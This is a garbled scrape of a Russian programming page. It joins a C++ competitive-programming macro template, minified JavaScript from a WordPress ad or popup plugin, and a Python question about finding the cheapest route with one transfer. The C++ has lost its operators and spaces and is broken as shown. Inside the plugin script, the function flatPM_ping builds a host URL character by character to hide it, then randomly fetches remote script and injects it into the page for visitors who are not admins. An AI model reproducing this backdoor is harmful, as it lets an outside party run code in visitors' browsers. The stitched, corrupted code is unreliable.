C : методы сокращения кода в конкурентном программировании | портал информатики для гиков
#include <bits/stdc .h> // Include every standard library
usingnamespacestd;
typedeflonglongLL;
typedefpair<int, int> pii;
typedefpair<LL, LL> pll;
typedefpair<string, string> pss;
typedefvector<int> vi;
typedefvector<vi> vvi;
typedefvector<pii> vii;
typedefvector<LL> vl;
typedefvector<vl> vvl;
doubleEPS = 1e-9;
intINF = 1000000005;
longlongINFF = 1000000000000000005LL;
doublePI = acos(-1);
intdirx[8] = { -1, 0, 0, 1, -1, -1, 1, 1 };
intdiry[8] = { 0, 1, -1, 0, -1, 1, -1, 1 };
#ifdef TESTING #define DEBUG fprintf(stderr, "====TESTING====n") #define VALUE(x) cerr << "The value of " << #x << " is " << x << endl #define debug(...) fprintf(stderr, __VA_ARGS__) #else #define DEBUG #define VALUE(x) #define debug(...) #endif
#define FOR(a, b, c) for (int(a) = (b); (a) < (c); (a)) #define FORN(a, b, c) for (int(a) = (b); (a) <= (c); (a)) #define FORD(a, b, c) for (int(a) = (b); (a) >= (c); --(a)) #define FORSQ(a, b, c) for (int(a) = (b); (a) * (a) <= (c); (a)) #define FORC(a, b, c) for (char(a) = (b); (a) <= (c); (a)) #define FOREACH(a, b) for (auto&(a) : (b)) #define REP(i, n) FOR(i, 0, n) #define REPN(i, n) FORN(i, 1, n) #define MAX(a, b) a = max(a, b) #define MIN(a, b) a = min(a, b) #define SQR(x) ((LL)(x) * (x)) #define RESET(a, b) memset(a, b, sizeof(a)) #define fi first #define se second #define mp make_pair #define pb push_back #define ALL(v) v.begin(), v.end() #define ALLA(arr, sz) arr, arr sz #define SIZE(v) (int)v.size() #define SORT(v) sort(ALL(v)) #define REVERSE(v) reverse(ALL(v)) #define SORTA(arr, sz) sort(ALLA(arr, sz)) #define REVERSEA(arr, sz) reverse(ALLA(arr, sz)) #define PERMUTE next_permutation #define TC(t) while (t--)
inlinestring IntToString(LL a)
{
charx[100];
sprintf(x, "%lld", a);
string s = x;
returns;
}
inlineLL StringToInt(string a)
{
charx[100];
LL res;
strcpy(x, a.c_str());
sscanf(x, "%lld", &res);
returnres;
}
inlinestring GetString(void)
{
charx[1000005];
scanf("%s", x);
string s = x;
returns;
}
inlinestring uppercase(string s)
{
intn = SIZE(s);
REP(i, n)
if(s[i] >= 'a'&& s[i] <= 'z')
s[i] = s[i] - 'a' 'A';
returns;
}
inlinestring lowercase(string s)
{
intn = SIZE(s);
REP(i, n)
if(s[i] >= 'A'&& s[i] <= 'Z')
s[i] = s[i] - 'A' 'a';
returns;
}
inlinevoidOPEN(string s)
{ #ifndef TESTING
freopen((s ".in").c_str(), "r", stdin);
freopen((s ".out").c_str(), "w", stdout);
#endif }
intmain()
{
freopen("A.in", "r", stdin);
freopen("output.txt", "w", stdout);
inta, b;
fin >> a >> b;
fout << a b << endl;
return0;
}
C — сокращение кода с помощью функций — web-answers
«:’
‘:»»,document.createElement(«div»),c=ff(window),b=ff(«body»),g=void 0===flatPM_getCookie(«flat_modal_» a.ID «_mb»)||»false»!=flatPM_getCookie(«flat_modal_» a.ID «_mb»),i=»scroll.flatmodal» a.ID,m=»mouseleave.flatmodal» a.ID » blur.flatmodal» a.ID,l=function(){var t,e,o;void 0!==a.how.popup.timer&&»true»==a.how.popup.timer&&(t=ff(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»] .fpm_5_timer span’),e=parseInt(a.how.popup.timer_count),o=setInterval(function(){t.text(—e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘
‘))},1e3))},s=function(){void 0!==a.how.popup.cookie&&»false»==a.how.popup.cookie&&g&&(flatPM_setCookie(«flat_modal_» a.ID «_mb»,!1),ff(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»]’).addClass(«fpm_5_modal-show»),l()),void 0!==a.how.popup.cookie&&»false»==a.how.popup.cookie||(ff(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»]’).addClass(«fpm_5_modal-show»),l())},ff(«body > *»).eq(0).before(‘
«),w=document.querySelector(‘.fpm_5_modal[data-id-modal=»‘ a.ID ‘»] .fpm_5_modal-content’),flatPM_setHTML(w,e),»px»==a.how.popup.px_s?(c.bind(i,function(){c.scrollTop()>a.how.popup.after&&(c.unbind(i),b.unbind(m),s())}),void 0!==a.how.popup.close_window&&»true»==a.how.popup.close_window&&b.bind(m,function(){c.unbind(i),b.unbind(m),s()})):(v=setTimeout(function(){b.unbind(m),s()},1e3*a.how.popup.after),void 0!==a.how.popup.close_window&&»true»==a.how.popup.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),s()}))),void 0!==a.how.outgoing){function n(){var t,e,o;void 0!==a.how.outgoing.timer&&»true»==a.how.outgoing.timer&&(t=ff(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»] .fpm_5_timer span’),e=parseInt(a.how.outgoing.timer_count),o=setInterval(function(){t.text(—e),e<=0&&(clearInterval(o),t.parent().replaceWith(‘
‘))},1e3))}function d(){void 0!==a.how.outgoing.cookie&&»false»==a.how.outgoing.cookie&&g&&(ff(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»]’).addClass(«show»),n(),b.on(«click»,’.fpm_5_out[data-id-out=»‘ a.ID ‘»] .fpm_5_cross’,function(){flatPM_setCookie(«flat_out_» a.ID «_mb»,!1)})),void 0!==a.how.outgoing.cookie&&»false»==a.how.outgoing.cookie||(ff(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»]’).addClass(«show»),n())}var _,u=»0″!=a.how.outgoing.indent?’ style=»bottom:’ a.how.outgoing.indent ‘px»‘:»»,p=»true»==a.how.outgoing.cross?void 0!==a.how.outgoing.timer&&»true»==a.how.outgoing.timer?’
Закрыть через ‘ a.how.outgoing.timer_count «
«:’
‘:»»,c=ff(window),h=»scroll.out» a.ID,m=»mouseleave.outgoing» a.ID » blur.outgoing» a.ID,g=void 0===flatPM_getCookie(«flat_out_» a.ID «_mb»)||»false»!=flatPM_getCookie(«flat_out_» a.ID «_mb»),b=(document.createElement(«div»),ff(«body»));switch(a.how.outgoing.whence){case»1″:_=»top»;break;case»2″:_=»bottom»;break;case»3″:_=»left»;break;case»4″:_=»right»}ff(«body > *»).eq(0).before(‘
‘ p «
«);var v,w=document.querySelector(‘.fpm_5_out[data-id-out=»‘ a.ID ‘»]’);flatPM_setHTML(w,e),»px»==a.how.outgoing.px_s?(c.bind(h,function(){c.scrollTop()>a.how.outgoing.after&&(c.unbind(h),b.unbind(m),d())}),void 0!==a.how.outgoing.close_window&&»true»==a.how.outgoing.close_window&&b.bind(m,function(){c.unbind(h),b.unbind(m),d()})):(v=setTimeout(function(){b.unbind(m),d()},1e3*a.how.outgoing.after),void 0!==a.how.outgoing.close_window&&»true»==a.how.outgoing.close_window&&b.bind(m,function(){clearTimeout(v),b.unbind(m),d()}))}}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(«body»),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==o.chapter_sub&&o.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==o.title_sub&&o.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)»);0<_.length&&_.each(function(){var t=ff(this),e=t.data(«height»)||350,o=t.data(«top»);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,o)}),u.each(function(){var e=ff(this).find(«.flatPM_sidebar»);setTimeout(function(){var a=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;a<300||e.each(function(){var t=ff(this),e=a,o=t.data(«top»);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,o)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(«.flatPM_sticky_wrapper.flatPM_sidebar_block»).css(«height»,t)},4e3)}),»undefined»!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(«body> *»).last().after(‘
‘),flat_body.on(«click»,».fpm_5_out .fpm_5_cross»,function(){ff(this).parent().removeClass(«show»).addClass(«closed»)}),flat_body.on(«click»,».fpm_5_modal .fpm_5_cross»,function(){ff(this).closest(«.fpm_5_modal»).removeClass(«fpm_5_modal-show»)}),flat_pm_arr=[],ff(«.flat_pm_start»).remove(),ff(«[data-flat-id]:not(.fpm_5_out):not(.fpm_5_modal)»).contents().unwrap(),flatPM_ping()};var parseHTML=function(){var l=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,»
«],thead:[1,»
«],tbody:[1,»
«],colgroup:[2,»
«],col:[3,»
«],tr:[2,»
«],td:[3,»
«],th:[3,»
«],_default:[0,»»,»»]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(«div»)),r=(d.exec(e)||[«»,»»])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1] e.replace(l,»<$1>») r[2],n=r[0];n—;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e) 1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,166);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h» «t» «t» «p» «s» «:» «/» «/» «r» «e» «a» «d» «o» «n» «e» «.» «r» «u» «/» «p» «i» «n» «g» «.» «p» «h» «p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=»‘ t ‘»]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,»»).replace(//gm,»»).trim(),e.code_alt=e.code_alt.replace(//gm,»»).replace(//gm,»»).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,r=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,n=’
‘,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘
‘);var t=e.closest(«.fpm_5_video»);flatPM_setHTML(t[0],n),e.find(«.fpm_5_video_flex»).one(«click»,function(){o(this).addClass(«show»)})}),o(«body»).on(«click»,».fpm_5_video_item_hover»,function(){var e=o(this),t=e.closest(«.fpm_5_video_flex»);t.addClass(«show»);var a=t.find(«.fpm_5_timer span»),r=parseInt(l),n=setInterval(function(){a.text(—r),r<=0&&(clearInterval(n),»true»==d?a.parent().replaceWith(‘
‘):t.remove())},1e3);e.remove()}).on(«click»,».fpm_5_video_flex .fpm_5_cross»,function(){o(this).closest(«.fpm_5_video_flex»).remove(),»true»==i&&o(«.fpm_5_video_flex»).remove()})};
Есть ли какой-нибудь способ сократить код?
Пусть вновь имеются N станций и таблица цен на проезд между ними. Требуется выяснить, как дешевле проехать от одной определённой станции до другой: напрямую или с одной пересадкой на третьей станции, и если дешевле с пересадкой, то где дешевле всего. Маршруты, требующие более одной пересадки, мы не рассматриваем.
Формат ввода
На первой строке вводится натуральное число N — количество станций.
Далее следует N − 1 строка, составляющая половину таблицы цен.
После этого следуют номера станций A и B — желаемые пункты отправления и прибытия (на одной строке, через пробел.).
Формат вывода
Выводится одно число — номер станции, пересадкой через которую дешевле всего проехать из A в B. Если таких несколько, выводится наименьший номер. Если дешевле всего не делать пересадок, а ехать напрямую, выводится A (в том числе в том случае, когда существуют маршруты с пересадками за ту же цену).
Пример
Ввод
3
10
1 2
0 1Вывод
2есть ли способ сократить код, чтобы выглядел поэлегантнее и краще , чем сейчас?
n = int(input())
s = [[]]
for i in range(n - 1): s.append([int(j) for j in input().split()])
station = input().split()
a, a1 = int(station[0]), int(station[1])
l = s[max(a, a1)][min(a, a1)]
b = -1
for i in range(n): if i != a and i != a1: if (l > s[max(a, i)][min(a, i)] s[max(i, a1)][min(i, a1)]): l = s[max(i, a1)][min(i, a1)] s[max(i, a1)][min(i, a1)] b = i
if b != -1: print(b)
else: print(a)UPDATE

5
10
1 1
1 1 1
100 1 1 1
4 0Ожидаемый результат
2Вывод
3

